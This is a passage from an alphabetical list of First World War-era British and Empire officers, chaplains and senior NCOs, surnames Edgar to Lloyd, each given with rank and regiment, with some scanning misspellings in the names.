Capt. John Green Edgar, Ofc.s Training Corps, employed Duke of Cornwall's Light Inf.
Lt. Arthur Wayman Edwards, York & Lancaster Reg.
Capt. Bartle Mordaunt Marsham Edwards, Rifle Brigade
2nd Lt. John Wesley Edwards, Yeomanry
B.Q.M. Sgt. Robert Henry Edwards, Lancashire Fusiliers
Lt. Richard Huyshe Eliot, Army Service Corps
Tmp Capt. Joseph Haslett Elliott RAMC
Rev. Ernest Sayer Ellis, Royal Army Chaplains' Dept.
Tmp Capt. Norman Thomas Ellis, Royal Engineers
Tmp Capt. Arthur David Ellison, Royal Field Arty.
Lt. James Frederick Ellison, Royal Marine Light Inf.
Staff Sergeant Major Alexander Ellwood, Army Service Corps
Tmp Capt. Herbert Emerson RAMC
Tmp Capt. Charles Arthur Emery, Liverpool Reg.
Lt. James Esmonde, Royal Dublin Fusiliers
C.S. Maj. Charles Martin Estall, East Surrey Reg.
Capt. Emerys Hunter Evans, Royal Welsh Fusiliers
Tmp Capt. William Henry Evans, General List, Nyasaland Field Force
Tmp Capt. William Herbert Evans, Northamptonshire Reg.
Tmp Capt. William Martin Evans, Royal Engineers
Lt. Arthur Charles Tarver Evanson, East Surrey Reg., attd. Machine Gun Corps
Tmp Lt. Peicy Briant Everett, York & Lancaster Reg.
Capt. John Fullerton Evetts, Scottish Rifles
Tmp Capt. William Alfred Evetts, Royal Garrison Arty.
Lt. Chetwode Percy Evill, Indian Army Reserve of Ofc.s
Tmp Capt. Brian Walter Fagan, Oxfordshire & Buckinghamshire Light Inf.
Tmp Capt. Gerald Watson Failes, Norfolk Reg.
Capt. Leslie John Fairchild, Wiltshire Reg.
Q.M. and Hon. Lt. Robert Fairley, London Reg.
Lt. Greame Ogilvie Fairlie, Machine Gun Corps
Rev. George Moncur Fairweather, Royal Army Chaplains' Dept.
Lt. Charles Gower Fannin, Royal Garrison Arty.
Capt. Cecil Graham Farquharson, Royal Marine Light Inf.
Lt. Francis Archibald Farquharson, Indian Army Reserve of Ofc.s
2nd Lt. Robert Berresf ord Fawcett, Royal Scots Fusiliers
Tmp 2nd Lt. John Halifax Feggetter, Northumberland Fusiliers
Capt. Robert Humphrey Feilden, Royal Field Arty.
2nd Lt. John George Fielder, Royal Garrison Arty.
Rev. John Green Fenn, Royal Army Chaplains' Dept.
Tmp Capt. Alexander Ferguson Royal Irish Fusiliers
Tmp Capt. John Caldwell Fergusson, RAMC
C.S. Maj. Frank Field, Royal Lancaster Reg.
2nd Lt. Percy Filkins, Royal Field Arty.
Capt. Richard Finch, Royal Army Veterinary Corps
Q.M. and Hon. Lt. Frederick Wilham Findlay, Gordon Highlanders
Tmp Lt. Hugh Carswell Findlay, King's African Rifles
Lt. John Francis Finn, Essex Reg.
Capt. Arthur Claude Finnimore, Royal Engineers
Rev. Joseph Firth, Royal Army Chaplains' Dept.
Tmp Lt. Sydney Howard Fish, Royal Naval Volunteer Reserve
Tmp 2nd Lt. Henry Cecil-Fisher, Middlesex Reg.
Tmp Lt. Edwin William Conquest Flavell, Machine Gun Corps
Tmp Capt. Charles Ernest Fleischl, Army Service Corps
Capt. Basil Lindley Fletcher, Manchester Reg.
Tmp Capt. The Hon. Hugh Lawrence Fletcher Moulton, Royal Garrison Arty.
Tmp Lt. Hugh Flint, Hampshire Reg.
Capt. Basil Edward Floyd, Royal Garrison Arty.
Capt. Richard Cunningham Foot, Royal Field Arty.
2nd Lt. Henry Norman Forbes, Lancers
Tmp Capt. Edward Maurice Ford, Army Service Corps
Tmp Lt. Harry Edward Richard Ford, Royal Welsh Fusiliers
Capt. John Meredith Randle Ford, Indian Army
Capt. Henry Marshall Fordham, Royal Engineers
Tmp Lt. Eric Ford-Jones, Royal Field Arty.
2nd Lt. Frederick Richmond Forster, Royal Field Arty.
Tmp Lt. Bernard Theobald Foss, Middlesex Reg.
Q.M. and Hon. Capt. Harry William Foster, Royal Irish Rifles
Tmp Capt. Henry William Berkely Foster, Northumberland Fusiliers
Lt. Cuthbert Lloyd Fox, Royal Engineers
Capt. Harold Fox, London Reg.
Tmp Lt. Douglas Foxley Foxwell, Rifle Brigade
Lt. Hugh Douglas Peregrine Francis, Yeomanry
Tmp Lt. Robert Alfred Frank, East Yorkshire Reg.
Capt. Thomas Alderman Franklin, Bedfordshire Reg.
Lt. Joseph Nicholson Franks, Border Reg.
Tmp Capt. Angus Alexander Fraser, Army Service Corps
Capt. Andrew Knowles Fraser, Seaforth Highlanders
Capt. Cecil Fraser, North Staffordshire Reg.
Tmp Capt. Gilbert Fraser, Royal Engineers
Capt. Simon Fraser, Royal Scots
Capt. Cecil Rayner Freeman, Northumberland Fusiliers
C.S. Maj. Esau John Fremlm, Grenadier Guards
Rev. Reginald French, Royal Army Chaplains' Dept., Lancashire Fusiliers
2nd Lt. George Whitely Frend, Royal Field Arty.
Lt. Jasper Gray Frere, Suffolk Reg. attd. Machine Gun Corps
2nd Lt. Oliver Harry Frost, Middlesex Reg. and Royal Flying Corps
Capt. John Sidney Fulton, Lancashire Fusiliers
2nd Lt. Horace John Furminger, Border Reg.
Lt. Charles Guy Gaden, Connaught Rangers
Lt. Geoffrey Holroyd Gadsden, Northamptonshire Reg.
Lt. James Winton Garden, Royal Highlanders, attd. Machine Gun Corps
Lt. George Dudley Gardner, Yorkshire Reg., and Royal Flying Corps
Tmp 2nd Lt. Percy George Garon, Army Service Corps
Battery Sergeant Major Charles Henry Garraway, Royal Field Arty.
Capt. Frank Harrold Garraway, London Reg.
Tmp 2nd Lt. Arthur Edwin Garrison, York & Lancaster Reg.
Battery Sergeant Major Edward Garton, Royal Field Arty.
Lt. John Arthur Gascoyne-Cecil, Royal Field Arty.
Tmp Lt. Hubert Douglas Gaunt, King's Own Yorkshire Light Inf.
Capt. Arthur William Gaze, London Reg.
Lt. Francis Stanley Gedye, Royal Field Arty.
Capt. Nicholas Geldard, West Riding Reg.
2nd Lt. Harold Marriot Gell, Royal Engineers
Capt. James Dunlop Gemmill, Royal Engineers
2nd Lt. Herbert Horace, George, Royal Garrison Arty.
Tmp Capt. Lawrence Unthank Geraty, RAMC
Capt. Lord Frederick John Gerard, Royal Horse Guards
Tmp Capt. Robert Gibbon, Manchester Reg.
Lt. Frederick Gibbons, London Reg.
Tmp Capt. William Percy Gibbons, Manchester Reg.
Lt. Arthur Gibbs, Welsh Guards
Rev. Andrew Gibson, Royal Army Chaplains' Dept.
2nd Lt. Charles Prosser Gibson, Royal Engineers
Capt. Colin William George Gibson, Royal Fusiliers
Tmp Lt. Charles Gray Gosling Gilbert, Machine Gun Corps
2nd Lt. Thomas Fleming Gilkison, Royal Field Arty.
Act. Capt. Donald Gill, Royal Garrison Arty.
Rev. Robert Gillenders, Royal Army Chaplains' Dept.
Lt. John Gillespie, Royal Field Arty.
Capt. William John Gilpm, Royal Garrison Arty.
Tmp Lt. Colin Macdonald Gilray, Rifle Brigade
2nd Lt. Rudolf Gjertsen, Essex Reg.
Tmp Capt. Keith Stewart Murray Gladstone, General List
Q.M. and Hon. Lt. Arthur Ernest Glass, RAMC
2nd Lt. John McGowan Glen, Royal Scots, attd. Royal Flying Corps
Lt. Manwell Alexander Burns Glen Royal Garrison Arty.
Capt. Charles Edward Glenn, York & Lancaster Reg.
2nd Lt. Arthur Earnshaw Glentonr Welsh Reg.
Lt. John Bagot Glubb, Royal Engineers
Capt. Ralph George Campbell Glyn, Rifle Brigade
Capt. Robert Trevor Wallace-Glynn, Royal Field Arty.
Lt. Ernest Gordon Godfrey, London Reg.
Tmp Lt. Howard Godfrey, Army Service Corps
Capt. Leslie Guy Gold, Hertfordshire Reg.
Lt. Claude John Dashwood Goldie, Royal Field Arty.
Lt. Kenneth Thackeray Gooch, Royal Field Arty.
Lt. Norton Butler Napier Good, Machine Gun Corps
Lt. Tom Goodall, West Riding Reg.
Capt. Eric Whitlock Goodman, Royal Garrison Arty.
Tmp Capt. Edward, Gordon, RAMC, Royal Highlanders
Tmp Lt. Grahame Massey Gordon, Royal Engineers
Capt. Ronald Eagleson Gordon, Royal Engineers
Tmp Lt. Leonard Gorringe, General List
Capt. Hugh Henry Eyre Gosset, Royal Engineers
Capt. Philip Gottwaltz, South Wales Borderers
Q.M. and Hon. Capt. Patrick Goudy, Royal Highlanders
Lt. Claud Goulder, Royal Field Arty.
Capt. Arnold Charles Gover, Indian Army
2nd Lt. Charles James Graham, London Reg.
Capt. Douglas Alexander Henry Graham, Scottish Rifles
Tmp Capt. John Gibson Graham, Royal Scots Fusiliers
Tmp Lt. Richard Grand, Norfolk Reg.
Lt. Clarence Welham Grange, Royal Garrison Arty.
Lt. Frederick Grant, Royal Garrison Arty.
Tmp 2nd Lt. Jokn Grant, Highland Light Inf.
Tmp Lt. John Robert Grant, Royal Engineers
Lt. Stuart Grant, Royal Warwickshire Reg.
Tmp Lt. Thomas Francis Wiltshire Grant, Royal Engineers
Capt. David Logan Gray, Scottish Rifles
2nd Lt. Roderick Hubert Gray, Royal Arty.
Tmp Lt. Frederick Charles Green, Intelligence Corps
Capt. Frederick James Green RAMC
2nd Lt. William Charles Green, East Yorkshire Reg.
Capt. Wilfrid Arthur Greene, Oxfordshire & Buckinghamshire Light Inf.
2nd Lt. Hugh Martin Greener, Northumberland Fusiliers
2nd Lt. Norman Greenslade, Devonshire Reg.
Tmp 2nd Lt. Wilfrid Greensmith, Nottinghamshire and Derbyshire Reg.
Tmp Capt. William Foster Greenwood, Yorkshire Reg.
Capt. William Wells Greer RAMC
Tmp Capt. Ernest Walter Gregory, Royal Field Arty.
2nd Lt. Joseph Grellis, Border Reg.
Tmp Lt. Charles Grey, General List, Rhodesia National Reg.
Lt. Walter Barrett Joseph Grey, Royal Field Arty.
2nd Lt. William Stanley Grice, Royal Garrison Arty.
Tmp Capt. James Henry Grieve, Army Ordnance Depot
Capt. John Cauldwell Grieve, RAMC
Tmp Capt. Cyril Cobham Griffith, Hampshire Reg.
Lt. Cyril John Ivor Griffith, Royal Field Arty.
Tmp Lt. Gordon Grift Griffiths, Unatt. List, Royal Arty.
Tmp Capt. Kenyon Boxwell Griffith-Williams, Royal Engineers
Tmp Lt. Sydney Alfred Groom, Royal Field Arty.
Tmp Lt. Stewart Jewell Grose, Royal Field Arty.
Rev. St. John Beverly Groser, Royal Army Chaplains' Dept.
Lt. Edward Julian Groves, Cheshire Reg.
2nd Lt. Humphrey Halgrim Grundtvig, Leicestershire Reg.
Lt. Thomas Reginald Grylls, Leicestershire Reg.
Capt. Stanley Edward Gudgeon, Royal Garrison Arty.
Lt. Richard Noel Guest, Royal Arty.
Capt. Haji Sulaiman Gulam-hossein Haji, Indian Medical Service
Tmp Lt. Eric McEvoy Gunning, Machine Gun Corps
Lt. Derrick Wellesley Gunston, Irish Guards
Tmp Capt. William Ernest Gurry, Royal Engineers
Capt. Ivan Douglas Guthrie, Cav., Indian Army
Lt. Kenneth Malcolm Guthrie, Durham Light Inf.
Lt. Bernard Gordon Guy, Royal Field Arty.
Capt. John Richard Gwyther, Manchester Reg.
Tmp Capt. Leonard Leith Hadley RAMC
Lt. Eustace Charles Hagen, Royal Field Arty.
Capt. Gordon Stewart Haggle, Northumberland Fusiliers
2nd Lt. Ernest Frank Hailstone, Royal Fusiliers
Tmp Capt. Leslie Robert Halford, Nottinghamshire and Derbyshire Reg.
Capt. Montague Walter Halford, Gloucestershire Reg.
Capt. Allan Gordon Hall, Royal Field Arty.
Tmp Capt. Cecil William Hall, Army Service Corps
Lt. Lionel Cuthbert Hall, Royal Engineers
Lt. Reginald Clifford Hall, York & Lancaster Reg.
Tmp Capt. Ronald Owen Hall, General List
Lt. Robert Victor Hall, Royal Field Arty.
Capt. Frederick Plassey Hallifax, Royal Garrison Arty.
2nd Lt. Howard George Hallum, Hampshire Reg.
Capt. James Hamilton, Royal Scots Fusiliers
Tmp 2nd Lt. John Hamilton, Army Service Corps
Tmp Lt. Harry Thomas Hammond, Royal Fusiliers
Capt. Alfred Christopher Hammond-Searle, RAMC
2nd Lt. Arthur Cecil Hampson, Royal Garrison Arty.
Tmp Capt. Stuart Hirst Hampson, Lancashire Fusiliers
Lt. Wilfred Hampson, Royal Engineers
2nd Lt. Eric James Hampton, Durham Light Inf.
Tmp Capt. Noel Hector Hampton, Royal Sussex Reg.
Tmp Q.M. and Hon. Lt. Alexander Hanauer, Army Service Corps
2nd Lt. Harris Kirkland Handasyde, Royal Scots
2nd Lt. Arthur Sheldon Hands, Dorsetshire Reg.
2nd Lt. Neville Hands, Royal Warwickshire Reg.
Lt. Robert William Hannah, Royal Field Arty.
2nd Lt. William Alexander Hanton, Royal Engineers
Capt. Allan Francis Hardwick, London Reg. and Machine Gun Corps
Q.M. and Hon. Capt. Edwin Harding, Royal Fusiliers
Capt. Fred Hardman, Manchester Reg.
Lt. Cyril Dupa Hardwick, Royal Field Arty.
2nd Lt. Thomas William Hardwick, West Yorkshire Reg.
Lt. Charles Cecil Harland, South Staffordshire Reg.
2nd Lt. William Thomas Harnott, Royal Garrison Arty.
Capt. Sidney Harper, South Staffordshire Reg.
Capt. George James Reginald Harris, Liverpool Reg.
Tmp Capt. John Anthony Harris, Yorkshire Reg.
Tmp 2nd Lt. Bernard Hope Harrison, Royal Munster Fusiliers
Tmp Lt. Wilmot Earl Harry, Royal Engineers
2nd Lt. Frederick Hart, Welsh Reg.
2nd Lt. Joseph Aubrey Hart, East Surrey Reg.
Tmp Lt. Stanley Graham Hart, Royal Field Arty.
Tmp Lt. Sydney Hartley, Worcestershire Reg.
Tmp 2nd Lt. Norman Holt Hartshorne, Royal Engineers
Tmp 2nd Lt. Arthur Williams Harvey, East Surrey Reg.
Capt. Humphrey le Fleming Fairfax Harvey, Royal Field Arty.
Hon. Lt. Edward Higham Haslam, Army Ordnance Depot
Tmp Capt. John Fearby Campbell Haslam RAMC
Tmp Capt. Thomas Ernest Hastings, Royal Inniskilling Fusiliers
Capt. Roger Bernard Lawson Hatch, Bedfordshire Reg.
Lt. Hubert Christopher Hatton-Hall, King's Own Scottish Borderers
Rev. William Thomas Havard, Royal Army Chaplains' Dept.
Tmp Lt. Horace Stanley Havelock, Royal Fusiliers
Tmp Capt. Arthur Joseph Hawes, RAMC
Capt. James Godfrey Hawkey-Shepherd, Yeomanry
2nd Lt. Kenneth Edwards Hawkins, Royal Fusiliers
Tmp Capt. Longney Hawkins, King's African Rifles
Tmp Capt. Harold Granwell Aloysius Haynes, RAMC
Capt. Horace Penzer Haynes, Royal Field Arty.
Lt. Frank Hay ward, Royal Engineers
Rev. Frederick John Hazledme, Royal Army Chaplains' Dept.
2nd Lt. Peter Charles Aislabie Head, Royal Field Arty.
2nd Lt. Max Herbert Hem, Yorkshire Light Inf.
Rev. George Francis Helm, Royal Army Chaplains' Dept.
Capt. Garnet Montgomery Hume Henderson, Highland Light Inf.
Lt. Matthew Bolam Henderson, Royal Field Arty.
Tmp Capt. Cecil Augustus John Hendriks, Yorkshire Light Inf.
Lt. Richard George Hennessy, Border Reg.
Capt. Thomas Hennessy, Rifle Brigade
Tmp Lt. William Ainsworth Henri, Northumberland Fusiliers
Tmp Lt. William Gaudie Henry, Royal Engineers
Tmp Lt. Arthur Frank Newman
Henstack, Nottinghamshire and Derbyshire Reg.
Tmp Capt. David Hepburn, Army Service Corps
Tmp Capt. George Stanley Hepburn, Royal Field Arty.
Capt. Walter Herd, Royal Highlanders
Tmp Capt. Fredenck Joseph Herzog, Royal Field Arty.
Tmp Capt. Albert Hesling, Lancashire Fusiliers
Tmp 2nd Lt. Alan Dickinson Hetherington, General List
Tmp Lt. Francis Herbert Hetherington, Seaforth Highlanders
Tmp Capt. Reginald Charles Hewson, East Yorkshire Reg.
Capt. Henry Frank Heywrood, Royal Garrison Arty.
Lt. Frederick Hubert Hickman, Royal Engineers
Tmp Capt. William Longton Hicks, General List
Battery Sergeant Major Francis Alexander Higgins, Royal Field Arty.
Lt. William Samuel Higgins, Royal Field Arty.
Capt. John Norman Hildick-Smith, South Staffordshire Reg.
Tmp Capt. Frederick James Hill, Royal Irish Rifles
Tmp Lt. Lindsay Arthur Hill, Royal Engineers
Tmp Capt.William Ernest Hill, Middlesex Reg.
Q.M. and Hon. Capt. William Henry Hill, West Yorkshire Reg.
Tmp Capt. Harold Drummond Hillier, Gloucestershire Reg.
Tmp Capt. George Tom Hilton, Army Service Corps
Tmp Capt. Richard Cop eland Dentocn Hind, Royal Sussex Reg.
Tmp Lt. Thomas Hinde, Rifle Brigade
Tmp Capt. John Tatham Hines, Royal Engineers
2nd Lt. Charles Allen Hinton, Royal Engineers
Tmp 2nd Lt. Alexander David Hislop, Royal Engineers
Capt. Frank Bridge Hitchcock Royal Garrison Arty.
2nd Lt. Francis Brigstocke Hitchings, Devonshire Reg., attd. Machine Gun Corps
Capt. Francis Bromley Hobbs, Bedfordshire Reg.
Tmp Capt. Howard Frederick Hobbs, attd. Welsh Reg.
Tmp Capt. Hugh George Hobson, RAMC
Capt. Matthew Hodgart, Royal Engineers
Lt. Alexander Phelps Hodges, Royal Field Arty.
Tmp Capt. Edward Norman Hodges, Army Service Corps
Tmp 2nd Lt. Walter Frederick Clarke Holden, Royal Engineers
Tmp Lt. Harold Thomas Holdstock, Yorkshire Light Inf.
Capt. Michael James Holland, King Edward's Horse
Tmp Capt. Tom Herbert Holland, Royal Field Arty.
Capt. Edmund John Hunt Holley, Devonshire and Royal North Devonshire Yeomanry
Tmp Capt. Aubrey Hollingworth, General List
Lt. Harold McLean Hollingworth, Yorkshire Reg.
Tmp Capit Rudolph Hollocombe, South Staffordshire Reg.
Lt. Geoffrey Holmes, Royal Field Arty.
Tmp Capt. Hugh Oliver Holmes, Royal Field Arty.
Tmp Capt. Gerald Holroyde, RAMC
Tmp Lt. Robert Kenneth Holt, Dorsetshire Reg.
Tmp Capt. Percy Frederick Hone, General List
Tmp Capt. Hilary Ralph Hood, Royal Garrison Arty.
Tmp Lt. Arthur Wellesley Hoodey, Army Service Corps
Capt. Alfred George Hooper, Lincolnshire Reg.
Tmp Capt. Granville Hooper-Sharpe, Rhodedian Veterinary Service
Capt. Arthur Oswald James Hope, Coldstream Guards
Capt. Kelham Kirk Horn, Royal Flying Corps
Capt. Trevor Langdale Horn, Lancers
Capt. Alan Edgar Home, Yeomanry
Lt. Herbert Eric Horsfield, Royal Engineers
Capt. Cecil Dove Horsley, Lancers
2nd Lt. Leonard George Hosking, London Reg.
Lt. Henry Walter Houldsworth, Seaforth Highlanders
Capt. Herbert Hough, South Lancashire Reg.
2nd Lt. Frederick Leonard Houghton, Royal Warwickshire Reg.
2nd Lt. Bertram Beaman Houston, Royal Garrison Arty.
2nd Lt. Robert Baldwin Hovey, Royal Engineers
Tmp Capt. Frederick Ernest Howard, Royal Field Arty.
Lt. Harry Safe Howard, Yorkshire Light Inf.
2nd Lt. Ronald Arthur Scovell Howes, South Lancashire Reg.
2nd Lt. Herbert Hubble, Rifle Brigade
Tmp Lt. Richard Melvil Fane Huddart, Royal Engineers
Tmp 2nd Lt. John Oromie Hudson, Army Service Corps
Tmp Capt. William Hudson, Royal Engineers
Tmp Lt. Digby Huffam, Royal Engineers
Tmp 2nd Lt. Cyril Thomas Hughes Royal Engineers
Capt. Daniel Joseph Hughes, Royal Army Chaplains' Dept.
Capt. Leslie Edward Hughes, RAMC
Sgt. Major Walter Hughes, Grenadier Guards
Tmp C.S. Maj. Thomas Anthony Hughes, Army Service Corps
Tmp Lt. Lyman Sawley Hull, Royal Welsh Fusiliers
Tmp Capt. Walter Grove Hull, Royal Field Arty.
Lt. Charles Arthur Phillimore Hulls, Seaforth Highlanders, and Machine Gun Corps
Tmp Lt. Spencer Robert Humby, Royal Engineers
Capt. Harold Victor Hummel, Royal Field Arty.
Tmp Capt. Henry Herbert Humphreys, Army Service Corps
Tmp Capt. John Nelson Humphrey RAMC
Tmp Capt. Gerald Norman Hunnybun, Yorkshire Reg.
Lt. Arthur Lionel Hunt, Royal Arty.
Tmp Capt. Geoffrey Hunt Hunt, Royal Engineers
Capt. William Hunt, London Reg.
Tmp Capt. Douglas Macinnes Hunter RAMC
Tmp Capt. William Henry Hunter, Army Service Corps
Tmp Capt. Edward Mitchell Huntriss, West Riding Reg.
Lt. Edgar Simon Hurlbatt, Manchester Reg.
Lt. Percival Hurlbutt, Yeomanry Battalion, Royal Welsh Fusiliers
Capt. Thomas Hutchesson, Royal Guernsey Light Inf.
Rev. Hugh William Hutehings, Royal Army Chaplains' Dept.
Tmp Lt. Herbert Heatley Hutchinson, Royal Garrison Arty.
Rev. Samuel Hutchinson, Royal Army Chaplains' Dept.
Lt. Cecil Tait Hutchison, Royal Field Arty.
Lt. George John Hutchison, Royal Field Arty.
Tmp Capt. David Lindsay Hutton, RAMC
Tmp 2nd Lt. William Sherrin Huxley, attd. Royal Flying Corps
2nd Lt. Henry David Hyams, London Reg.
Tmp Capt. Howard Leahe Hyett, Royal Field Arty.
Tmp Capt. Douglas Edward Ince, Durham Light Inf.
Tmp Capt. Norman Sedgwick Ince, Manchester Reg.
Capt. Thomas Douglas Inch RAMC
Capt. Joseph Ellis Inglis, Royal Garrison Arty.
Capt. Kenneth Guthrie Ireland, Royal Arty.
Tmp Lt. Leonard Archibald Frederick Ireland, Royal Sussex Reg.
Rev. Henry Massingberd Irvin, Royal Army Chaplains' Dept.
Tmp Lt. Basil Hippisley Jackson, Royal Horse Arty.
Lt. Clement Jackson, Royal Garrison Arty.
Capt. Guy Rolf Jackson, Yeomanry
Capt. Harold Bravence Jackson, East Yorkshire Reg.
Lt. Harold Jackson, Manchester Reg.
Lt. Lindsay Forbes Jackson, Royal Garrison Arty.
Lt. Adrian Ingram James, Royal Field Arty.
Tmp Capt. Harold Morton James, Middlesex Reg.
Lt. Walter Richmond James, Royal Engineers
Tmp Capt. Charles Henry Jarvis, Northumberland Fusiliers
Capt. Thomas Kilvington Jeans, Royal Horse Arty.
Tmp Capt. Ernest Edward Jelbart, Royal Army Veterinary Corps
Tmp Lt. Edgar Ernest Jenkins, Royal Warwickshire Reg.
Tmp Capt. Gerald Kerr Jenkins, Royal Field Arty.
Battery Sergeant Major Percy John Jenkins, Royal Field Arty.
Tmp Q.M. and Hon. Lt. Robert Jennings, Royal Scots
Lt. Reginald Herbert Jerman, Royal Welsh Fusiliers
Tmp Lt. Charles Edward Jiggms, Royal Fusiliers
Tmp Capt. Anthony Joseph Jimenez, Royal West Kent Reg.
Lt. Robert Howard Jobson, Royal Field Arty.
Lt. Maurice Richard Johannessen, Royal Garrison Arty.
Tmp Capt. Oscar Claridge Johnsen, General List
Capt. Dudley Graham Johnson South Wales Borderers
Tmp Capt. Edgar Harry Johnson, Yorkshire Light Inf.
Tmp Lt. Gordon Ross Johnson, Royal Engineers
Hon. Lt. Harry Bertram Johnson, Army Ordnance Corps
Lt. Rayner Harvey Johnson, Royal Garrison Arty.
Tmp 2nd Lt. Alexander le Burn Johnston, Royal Engineers
Capt. Lewis Downsh Joll, Royal Garrison Arty.
Lt. Archibald Henry Jolhffe, Cheshire Reg.
Tmp 2nd Lt. Arthur Leslie Jones, Royal Engineers
2nd Lt. Arthur Llewellyn Jones, East Surrey Reg.
Tmp Lt. Ernest Sidney Jones, Army Ordnance Depot
Capt. George Worthington Jones, Royal Horse Arty.
Tmp Capt. Glyn Mostyn Jones, Royal Welsh Fusiliers
2nd Lt. Herbert Brian Jones, Wiltshire Reg.
R.S. Maj. John Owen Jones, Cheshire Reg.
Tmp Capt. John Robetnt Jones, Royal Field Arty.
Tmp Capt. John Thomas Jones, Army Service Corps
Tmp Capt. Percy Lewis Jones, Royal Garrison Arty.
Q.M. and Hon. Capt. Philip Henry Jones, Lincolnshire Reg.
Tmp Capt. Robert Arthur Jones, Norfolk Reg.
Tmp Q.M. and Hon. Lt. Thomas Jacob Jones, Royal Welsh Fusiliers
Lt. Albert Edward Jordan, Royal Garrison Arty.
Lt. John Reginald Claridge Jorgensen, Royal Field Arty.
2nd Lt. Robert Charles Jull, Royal Garrison Arty.
Tmp Lt. Robert Louis Kay, Cheshire Reg.
Lt. Reginald Joseph Kaye, Royal Garrison Arty.
Lt. James William Keating, Royal Field Arty.
Tmp Q.M. and Hon. Lt. Thomas Keay, Lancashire Fusiliers
Lt. William Esmé Kelly, Border Reg.
Lt. Charles Hall Kelsall, Lancashire Fusiliers
Tmp Lt. Luther James Kedsey, South Staffordshire Reg.
Lt. John Henry Kemp, Army Service Corps
Lt. Ernest Elliott Kennedy, Indian Army
Capt. Bertram Maurice Kenny, Royal West Surrey Reg.
Capt. Joseph Robert Kenyon, Royal Field Arty.
Tmp Capt. John Bertram Keville, Royal Arty.
Capt. Gordon Cecil Kennard, Royal Engineers
Lt. Lord Hugh Kennedy, Coldstream Guards
Lt. James Russell Kennedy, Royal Garrison Arty.
Q.M. and Hon. Lt. Herbert John Kent, London Reg.
Capt. Tom Raonsden Kenworthy, RAMC
2nd Lt. Arthur Oliver Kersey, Shropshire Light Inf.
Capt. Hew Ross Kilner, Royal Garrison Arty.
Tmp Capt. Brian Arthur Douglas Kinahan, Royal Engineers
Tmp Capt. Stanley Lancaster Kind, York & Lancaster Reg.
2nd Lt. Bernard Ellis King, Norfolk Reg.
Tmp Lt. Cecil Bishop Redman King, Machine Gun Corps
Capt. Charles Stuart King, Royal Garrison Arty.
2nd Lt. Edward Goddard King, West Yorkshire Reg.
Tmp Capt. Hugh Basil King, Northamptonshire Reg.
Tmp 2nd Lt. Herbert Greniell King, Northumberland Fusiliers
Capt. Harold Lepme Kirby, Royal Fusiliers
Tmp Lt. Henry McKenzie Kirkby, Army Ordnance Depot
Capt. Colin Drummond Kirkpatrick, Royal Garrison Arty.
Tmp Capt. William Kirkwood, Royal Scots
Tmp Lt. William Campbell Kirkwood, Royal Garrison Arty.
Tmp Capt. Ahck Edmond Knight RAMC
Lt. Royston Engleheart Knight, Royal Engineers
Lt. Walham Thomas Knight, Royal Garrison Arty.
Tmp Capt. Frederick Hammett Knott, Wiltshire Reg.
Tmp Capt. Roger Birkbecfe Knott, Lancashire Fusiliers
Tmp Capt. Alexander Campbell White Knox RAMC
Tmp Lt. Edward Ritchie Knox, Royal Arty.
Tmp Lt. Jean Antoine Kurten, Royal Garrison Arty.
Tmp Lt. Thomas Butler Labarte, Royal Field Arty.
Tmp Lt. George Thomas Labey, Royal Engineers
Tmp Capt. Wallace Laing, Royal Arty.
Tmp Capt. James Martin Laird Royal Field Arty.
Q.M. and Hon. Lt. Ernest Kirkland Laman, South Wales Borderers
Tmp Lt. Christopher Lambeth, Army Service Corps
Tmp 2nd Lt. Mortimer William Henry Lancaster, South Wales Borderers
Lt. John Langler, Royal Arty., Royal Field Arty.
Tmp Capt. John Athelstane Trend Langdon, North Staffordshire Reg.
Capt. Walter George Largen, Royal Field Arty.
2nd Lt. Arthur Moore Lascelles, Durham Light Inf.
Capt. William Henry Laslett RAMC
Lt. Charles Latrobe, Hampshire Reg.
Battery Sergeant Major Alexander Lauder, Royal Field Arty.
Tmp Capt. Joseph Henry Laurie, Royal Army Veterinary Corps
Capt. Hou Henry Astell Law, Yorkshire Light Inf.
Rev. James Henry Adeane Law, Royal Army Chaplains' Dept.
Tmp Lt. Charles Alfred Lawrence, Bedfordshire Reg.
Tmp Lt. John Wilson Lawson, Machine Gun Corps
Tmp 2nd Lt. William Brereton Lawton-Goodman, Army Service Corps
Tmp Capt. Charles Laycock, Royal Engineers
Capt. Stanley Charles Layzell, Intelligence Dept.
2nd Lt. Eric George Leader, Royal Engineers
Capt. James Allan Gordon Leask, Royal Lancaster Reg.
Lt. David Henry Leek, Border Reg., attd. Machine Gun Corps
Tmp Capt. Charles Henry Lee, Manchester Reg.
Capt. James Lyell Lee, Lancashire Fusiliers
2nd Lt. James Vernon Lee, Yeomanry
Capt. Ralph Trenchard Leo, Royal Field Arty.
Tmp Capt. Alec Antony Lees, RAMC
Tmp Lt. George Poingdestre Lefebvre, Northumberland Fusiliers
2nd Lt. Edmund Charles le Good, Royal Garrison Arty.
Lt. John Alexander Leigh, Royal Garrison Arty.
2nd Lt. John Walter Dickinson Leigh, Army Cyclist Battalion and Royal Flying Corps
Capt. Reginald Heber Leigh, RAMC
Lt. Douglas Meldrum Watson Leith, Gordon Highlanders
Tmp Capt. Hubert Francis Augustine le Mesurier, Cheshire Reg.
Tmp 2nd Lt. Eric Smithyman Lennard, Tank Corps
Tmp Capt. Arthur Stanley le Rossignol, General List
Lt. Alexander Addis Leslie, Royal Field Arty.
Capt. Cecil George Leslie, Dragoon Guards
Tmp Capt. Oswald Edward Henry Leslie, Royal Garrison Arty.
Lt. Rupert John Leversha, Yeomanry
2nd Lt. William Egbert Leveson, Royal Garrison Arty.
Tmp 2nd Lt. Carl Norton Levin, Northumberland Fusiliers
Lt. Ralph Paul Levy, Middlesex Reg.
C.S. Maj. John Arthur Lewis, Royal Engineers
Tmp Lt. Goroorwy Claude Lewis, Tank Corps
Tmp Capt. Max Lewis, General List
Tmp Lt. William Lewthwaite, Machine Gun Corps
Tmp Lt. Cecil Frederick Joseph Liddell, King's Royal Rifle Corps
Tmp Capt. Frank Horace Liddell, General List, formerly Royal Warwickshire Reg.
Tmp Lt. Guy Maynard Liddell, Royal Field Arty.
Tmp Capt. Kenneth Thomas Lambery, RAMC
Lt. John William Lincoln, Royal Engineers
Tmp Lt. James Henry Coddington Lindesay, Army Cyclist Corps
2nd Lt. Bernard Lindop, Cheshire Reg.
Capt. Leslie Stuart Lindsey-Renton, London Reg.
R.S. Maj. William Lightfoot, Border Reg.
Lt. Archibald John Child Lintott, London Reg.
Tmp Capt. Percy Collins Litchfield, RAMC
Tmp Capt. Joscelme William Littleton, Royal Field Arty.
Lt. John Jestyn Llewellin, Royal Garrison Arty.
Rev. Herbert Thomas Lloyd, Royal Army Chaplains' Dept.
